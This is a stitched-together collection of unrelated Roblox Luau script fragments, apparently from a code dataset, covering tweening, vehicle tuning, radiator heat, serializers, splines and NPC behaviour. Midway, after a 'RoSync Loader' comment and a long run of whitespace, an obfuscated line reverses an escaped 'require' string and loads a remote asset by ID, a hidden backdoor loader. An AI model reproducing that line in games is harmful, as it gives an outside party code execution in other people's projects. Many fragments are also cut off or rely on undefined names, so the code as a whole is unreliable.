Roblox/luau_corpus huggingface dataset:
-- Decompiled with the Synapse X Luau decompiler.

local l__RunService__1 = game:GetService("RunService");
local v2 = {};
local u1 = require(game:GetService("ReplicatedStorage").Packages.Promise);
local l__TweenService__2 = game:GetService("TweenService");
function v2.alpha(p1, p2)
	return u1.delay(p1.DelayTime):andThen(function()
		return u1.new(function(p3, p4, p5)
			local v3 = 0;
			while true do
				p2((l__TweenService__2:GetValue(v3 / p1.Time, p1.EasingStyle, p1.EasingDirection)));
				v3 = v3 + task.wait();
				if p1.Time <= v3 then
					break;
				end;
				if p5() then
					break;
				end;			
			end;
			if not p5() then
				p2(1);
				p3();
			end;
		end);
	end);
end;
function v2.range(p6, p7, p8, p9)
	if p7 ~= p8 then
		return v2.alpha(p6, function(p10)
			p9(p7 + (p8 - p7) * p10);
		end);
	end;
	p9(p8);
	return u1.resolve();
end;
return v2;
-- References
Tool = script.Parent.Parent
Libraries = Tool:WaitForChild 'Libraries'
Support = require(Libraries:WaitForChild 'SupportLibrary')
RegionModule = require(Libraries:WaitForChild 'Region')
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 380		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 800		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
-- Engine Sound Parameters
local RPM_CROSSOVER = 250 -- How much more engine power is needed to crossover to the next engine audio track
local ENGINE_GAIN_ACCEL = 1 -- Exponent that builds the engine RPM when accelerating (gives the engine sound more oomph the higher the value)
local ENGINE_GAIN_DECCEL = 1 -- Exponent that builds the engine RPM when decelerating (braking)
local BASE_RPM = Vehicle:GetAttribute("BaseEngineRPM") or 1500 -- Resting state for the engine
local MAX_RPM = Vehicle:GetAttribute("MaxEngineRPM") or 5000 -- The engine RPM correlating to the highest pitch for engine sounds
local MAX_IDEAL_RPM = MAX_RPM-(MAX_RPM-BASE_RPM)/4 -- engine RPM correlating to normal usage (not under stress)
local MAX_SPEED = 125 -- The rotational velocity a vehicle's wheels would be reaching for the highest pitched engine sounds
--- Splits a string by space but taking into account quoted sequences which will be treated as a single argument.
function Util.SplitString(text, max)
	text = encodeControlChars(text)
	max = max or math.huge
	local t = {}
	local spat, epat = [=[^(['"])]=], [=[(['"])$]=]
	local buf, quoted
	for str in text:gmatch("[^ ]+") do
		str = Util.ParseEscapeSequences(str)
		local squoted = str:match(spat)
		local equoted = str:match(epat)
		local escaped = str:match([=[(\*)['"]$]=])
		if squoted and not quoted and not equoted then
			buf, quoted = str, squoted
		elseif buf and equoted == quoted and #escaped % 2 == 0 then
			str, buf, quoted = buf .. " " .. str, nil, nil
		elseif buf then
			buf = buf .. " " .. str
		end
		if not buf then
			t[#t + (#t > max and 0 or 1)] = decodeControlChars(str:gsub(spat, ""):gsub(epat, ""))
		end
	end

	if buf then
		t[#t + (#t > max and 0 or 1)] = decodeControlChars(buf)
	end

	return t
end
--- subscribe the YouTube - PRO100zola 3k

local hum = script.Parent:WaitForChild("Zombie")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
--Leave this
Heat = 0

if GUI then
	script.Parent.Visible = true
else
	script.Parent.Visible = false
end

if not FE then
	
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false
	
	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
	
script.Celsius.Changed:Connect(function()
	intmp.Rotation = -30 + Heat * 250 / 8000
end)
	
	while wait(.2) do
	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		radiator.Fan.Volume = FanVolume
	elseif Heat < FanTempAlpha then
		FanCool = 0
		radiator.Fan.Volume = 0
	end
	end
	
	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		radiator.Break:Play()
		radiator.Liquid.Volume = .5
		radiator.Oil.Enabled = true
		radiator.Antifreeze.Enabled = true
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
	elseif Heat >= BlowupTemp-20 then
		radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
		radiator.Smoke.Enabled = true
		dash.Warn.Transparency = 0
		radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
	else
		radiator.Smoke.Enabled = false
		radiator.Steam.Volume = 0
		dash.Warn.Transparency = 1
	end
	
	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
	script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))

else

	handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
	
	if Heat > FanTemp and Fan == true then
		FanCool = -FanSpeed
		handler:FireServer("FanVolume",FanVolume)
	else
		FanCool = 0
		handler:FireServer("FanVolume",0)
	end
	
	Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
	Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
	
	if Heat >= BlowupTemp then
		Heat = BlowupTemp
		handler:FireServer("Blown")
		script.Parent.Parent.IsOn.Value = false
		script.Blown.Value = true
	elseif Heat >= BlowupTemp-20 then
		handler:FireServer("Smoke",true,BlowupTemp,Heat)
	else
		handler:FireServer("Smoke",false,BlowupTemp,Heat)
	end
	
	script.Celsius.Value = Heat
	script.Parent.Temp.Text = math.floor(Heat).."°c"
	
	handler:FireServer("Gauge",script.Celsius.Value,intmp)
	
end
end
-- ROBLOX NOTE: no upstream
-- this plugin serializes Roblox Instance objects
-- https://developer.roblox.com/en-us/api-reference/class/Instance

local CurrentModule = script.Parent.Parent
local Packages = CurrentModule.Parent

local JestGetType = require(Packages.JestGetType)
local getType = JestGetType.getType

local LuauPolyfill = require(Packages.LuauPolyfill)
local instanceof = LuauPolyfill.instanceof

local RobloxInstance = require(Packages.RobloxShared).RobloxInstance
local getRobloxProperties = RobloxInstance.getRobloxProperties
local InstanceSubset = RobloxInstance.InstanceSubset

local printTableEntries = require(CurrentModule.Collections).printTableEntries

local Types = require(CurrentModule.Types)
type Config = Types.Config
type Refs = Types.Refs
type Printer = Types.Printer

local function printInstance(
	val: any,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	printer: Printer
): string
	local result = ""

	local children = val:GetChildren()
	table.sort(children, function(a, b)
		return a.Name < b.Name
	end)
	local props = getRobloxProperties(val.ClassName)

	if #props > 0 or #children > 0 then
		result = result .. config.spacingOuter

		local indentationNext = indentation .. config.indent

		-- print properties of Instance
		for i, v in ipairs(props) do
			local name = printer(v, config, indentationNext, depth, refs)

			local value = val[v]
			-- collapses output for Instance values to avoid loops
			if getType(value) == "Instance" then
				value = printer(value, config, indentationNext, math.huge, refs)
			else
				value = printer(value, config, indentationNext, depth, refs)
			end

			result = string.format("%s%s%s: %s", result, indentationNext, name, value)

			if i < #props or #children > 0 then
				result = result .. "," .. config.spacingInner
			elseif not config.min then
				result = result .. ","
			end
		end

		-- recursively print children of Instance
		for i, v in ipairs(children) do
			local name = printer(v.Name, config, indentationNext, depth, refs)
			local value = printer(v, config, indentationNext, depth, refs)

			result = string.format("%s%s%s: %s", result, indentationNext, name, value)

			if i < #children then
				result = result .. "," .. config.spacingInner
			elseif not config.min then
				result = result .. ","
			end
		end

		result = result .. config.spacingOuter .. indentation
	end

	return result
end

local function serialize(
	val: any,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	printer: Printer
): string
	depth = depth + 1

	if depth >= config.maxDepth then
		return string.format('"%s" [%s]', val.Name, val.ClassName)
	end

	if instanceof(val, InstanceSubset) then
		return val.ClassName .. " {" .. printTableEntries(val.subset, config, indentation, depth, refs, printer) .. "}"
	end

	return val.ClassName .. " {" .. printInstance(val, config, indentation, depth, refs, printer) .. "}"
end

local function test(val: any): boolean
	return getType(val) == "Instance" or instanceof(val, InstanceSubset)
end

return {
	serialize = serialize,
	test = test,
}
--This script removes any extra hats or tools.
workspace.ChildAdded:connect(function(item) 
	if item:IsA("Hat") or item:IsA("Tool") then 
		wait(10)
		if item.Parent == workspace then 
			item:Destroy()
		end 
	end 
end)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KittySword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)
-- Private Functions

local function arcLengthIntegrand(self, spline, t)
	local a, b, c, d = unpack(self.Coefficients)
	local dv = b[spline] + 2*c[spline]*t + 3*d[spline]*t*t
	return dv.Magnitude
end

local function integrate(self, spline, t)
	local h = t / SIMPSON_N
	local xi0, xi1, xi2 = arcLengthIntegrand(self, spline, t), 0, 0
	
	for i = 0, SIMPSON_N - 1 do
		local x = i*h
		if (i % 2 == 0) then
			xi2 = xi2 + arcLengthIntegrand(self, spline, x)
		else
			xi1 = xi1 + arcLengthIntegrand(self, spline, x)
		end
	end
	
	return h * (xi0 + 2*xi2 + 4*xi1) / 3
end

local function clampedCubicSpline(p, fpo, fpn)
	local n = #p
	local a, b, c, d = {unpack(p)}, {}, {}, {}
	
	local aa = {}
	aa[1] = 3*(a[2] - a[1]) - 3*fpo
	aa[n] = 3*fpn - 3*(a[n] - a[n-1])
	
	for i = 2, n - 1 do
		aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1])
	end
	
	local l, mu, z = {2}, {0.5}, {aa[1]/2}
	
	for i = 2, n - 1 do
		l[i] = 4 - mu[i-1]
		mu[i] = 1 / l[i]
		z[i] = (aa[i] - z[i-1]) / l[i]
	end
	
	l[n] = 2 - mu[n-1]
	z[n] = (aa[n] - z[n-1]) / l[n]
	c[n] = z[n]
	
	for j = n - 1, 1, -1 do
		c[j] = z[j] - mu[j]*c[j+1]
		d[j] = (c[j+1] - c[j]) / 3
		b[j] = p[j+1] - p[j] - c[j] - d[j]
	end
	
	return a, b, c, d
end

local function naturalCubicSpline(p)
	local n = #p
	local a, b, c, d = {unpack(p)}, {}, {}, {}
	
	local aa = {}
	
	for i = 2, n - 1 do
		aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1])
	end
	
	local start = Vector3.new(0, 10, 0)
	local l, mu, z = {1}, {0}, {ZERO}
	l[n], z[n], c[n] = 1, ZERO, ZERO

	for i = 2, n - 1 do
		l[i] = 4 - mu[i-1]
		mu[i] = 1 / l[i]
		z[i] = (aa[i] - z[i-1]) / l[i]
	end
	
	for j = n - 1, 1, -1 do
		c[j] = z[j] - mu[j]*c[j+1]
		d[j] = (c[j+1] - c[j]) / 3
		b[j] = p[j+1] - p[j] - c[j] - d[j]
	end
	
	return a, b, c, d
end
----- Controller Table -----

local ReplicaController = {

	NewReplicaSignal = Madwork.NewScriptSignal(), -- (Replica)
	InitialDataReceivedSignal = Madwork.NewScriptSignal(), -- ()
	InitialDataReceived = false,

	_replicas = {
		--[[
			[replica_id] = {
				Data = {}, -- [table] Replicated Replica data table
				Id = 1, -- [integer] Replica id
				Class = "", -- [string] Primary Replica identifier
				Tags = {UserId = 2312310}, -- [table] Secondary Replica identifiers
				
				Parent = Replica, -- [Replica / nil] -- Child replicas inherit replication settings
				Children = {}, -- [table] {replica, ...}
						
				_write_lib = {[func_id] = function, ...} / nil, -- [table] List of wrapped write functions
				_write_lib_dictionary = {["function_name"] = func_id, ...} / nil, -- [table] Dictionary of function names and their id's
				
				_table_listeners = {[1] = {}} -- [table] Listeners of specific value changes in replica data
				_function_listeners = {[func_id] = {listener, ...}, ...} -- [table] Listeners of write function calls
				_raw_listeners = {listener, ...},
				
				_signal_listeners = {},
				_maid = maid,
			}
		--]]
	},

	_class_listeners = {}, -- {["replica_class"] = script_signal, ...}
	_child_listeners = {}, -- {[replica_id] = {listener, ...}, ...}

}
----------------------------------------------------------------------------------------------------------------

local SmoothDamp = {}
SmoothDamp.__index = SmoothDamp

function SmoothDamp.new()
	return setmetatable({
		MaxSpeed = math.huge;
		_update = tick();
		_velocity = Vector3_new();
	}, SmoothDamp)
end

function SmoothDamp:Update(current, target, smoothTime)
	local currentVelocity = self._velocity
	local now = tick()
	local deltaTime = (now - self._update)
	smoothTime = math_max(0.0001, smoothTime)
	local num = (2 / smoothTime)
	local num2 = (num * deltaTime)
	local d = (1 / (1 + num2 + 0.48 * num2 * num2 + 0.235 * num2 * num2 * num2))
	local vector = (current - target)
	local vector2 = target
	local maxLength = (self.MaxSpeed * smoothTime)
	vector = vector.Magnitude > maxLength and (vector.Unit * maxLength) or vector -- Clamp magnitude.
	target = (current - vector)
	local vector3 = ((currentVelocity + num * vector) * deltaTime)
	currentVelocity = ((currentVelocity - num * vector3) * d)
	local vector4 = (target + (vector + vector3) * d)
	if ((vector2 - current):Dot(vector4 - vector2) > 0) then
		vector4 = vector2
		currentVelocity = ((vector4 - vector2) / deltaTime)
	end
	self._velocity = currentVelocity
	self._update = now
	return vector4
end

function SmoothDamp:UpdateAngle(current, target, smoothTime)
	return self:Update(current, (current + DeltaAngleV3(current, target)), smoothTime)
end

return SmoothDamp
--SeregaTopYTReal2
--Put the "died" sound to npc's head

local NPC = script.Parent
local Head = NPC.Torso
local Humanoid
for i,v in pairs(NPC:GetChildren()) do 
	if v:IsA('Humanoid') then 
		Humanoid = v 
	end 
end

if Humanoid then
	Humanoid.Died:Connect(function()
		wait(0.0001)
		Head:FindFirstChild("dead"):Play()
	end)
else
	warn('Cannot find Humanoid in DeathSound Script!')
end
--//Variables\\--
Spawner=script.Parent.Parent:FindFirstChildOfClass("Part")
script.Parent=game.ServerScriptService
Zombie.Parent=game.ServerStorage
--[[ Last synced 1/23/2021 02:42 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1003)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--BotHit
Door.Touched:Connect(function(hit)
	if hit.Parent:FindFirstChild("Humanoid") and hit.Parent:FindFirstChild("Bot") then
		if Ready == true then
			if Open == false then
				Ready = false
				Unlock:Play()
				hit.Parent.HumanoidRootPart.Anchored = true
				wait(1)
				hit.Parent.HumanoidRootPart.Anchored = false
				Open = true
				Handle.TargetAngle = 90
				OpenSound:Play()
				OpenTween:Play()
				wait(.5)
				Ready = true
			end
		end
	end
end)
--[=[
	Observes an attribute on an instance.
	@return Observable<any>
]=]
function AttributeValue:Observe()
	return RxAttributeUtils.observeAttribute(self._object, self._attributeName, rawget(self, "_defaultValue"))
end
-- mark for precompiled code ('<esc>Lua') (from lua.h)
luaU.LUA_SIGNATURE = "\27Lua"
-- Initialization

local Time = Instance.new('IntValue', game.Workspace:WaitForChild('MapPurgeProof'))
Time.Name = 'Time'
--[[
	Returns the UpVector used for each face to determine Camera rotation when doing CFrame calculation.
]]
function CameraModule:_getUpVectorByFace(cframe, face)
	local upVectorsByFace = {
		[Enum.NormalId.Front] = cframe.UpVector,
		[Enum.NormalId.Back] = cframe.UpVector,
		[Enum.NormalId.Right] = cframe.UpVector,
		[Enum.NormalId.Left] = cframe.UpVector,
		[Enum.NormalId.Top] = cframe.RightVector,
		[Enum.NormalId.Bottom] = cframe.RightVector,
	}

	return upVectorsByFace[face]
end

return CameraModule
--> LOCAL VARIABLES
local Flare = script.Parent
local Player = game.Players.LocalPlayer
local ClickedEvent = Flare:WaitForChild("PlayerClicked")
local FlareHandle = Flare:WaitForChild("Handle")
local ReloadTime = Flare:WaitForChild("Customisation"):WaitForChild("ReloadTime").Value
local FireAnim = Flare:WaitForChild("FireAnimation")
local ReloadAnim = Flare:WaitForChild("ReloadAnimation")
local Reloading = false
-- In GNU diff format, indexes are one-based instead of zero-based.
local function createPatchMark(
	aStart: number,
	aEnd: number,
	bStart: number,
	bEnd: number,
	options: DiffOptionsNormalized
): string
	return options.patchColor(
		string.format("@@ -%d,%d +%d,%d @@", aStart + 1, aEnd - aStart, bStart + 1, bEnd - bStart)
	)
end
--[[
	Singleton manager that controls the monsters.
]]
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry)
local TableUtils = require(ReplicatedStorage.Dependencies.LuaUtils.TableUtils)
local Monster = require(ServerStorage.Source.Components.Monster)
local getRandomClearLocationInRegionAsync = require(ServerStorage.Source.Common.getRandomClearLocationInRegionAsync)

local CLEAR_AREA_TO_SPAWN = Vector3.new(5, 5, 5)

local monsters = Registry.new(Monster)
local interests = {}
local monsterId = 1

local MonsterManager = {}
--- Recursively sets the table as ReadOnly
-- @tparam table table Table to error on indexing
-- @treturn table table The same table
function Table.deepReadonly(table)
	for _, item in pairs(table) do
		if type(item) == "table" then
			Table.deepReadonly(item)
		end
	end

	return Table.readonly(table)
end

return Table
--[[
	Merges all arrays into one array, eliminating duplicate values
--]]

local function mergeArraysUniqueOnly(...: { any })
	local results = {}

	for _, array in ipairs({ ... }) do
		if not array then
			continue
		end
		for _, value in ipairs(array) do
			if not table.find(results, value) then
				table.insert(results, value)
			end
		end
	end

	return results
end

return mergeArraysUniqueOnly
-- Gradually regenerates the Humanoid's Health over time.

local REGEN_RATE = 100/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.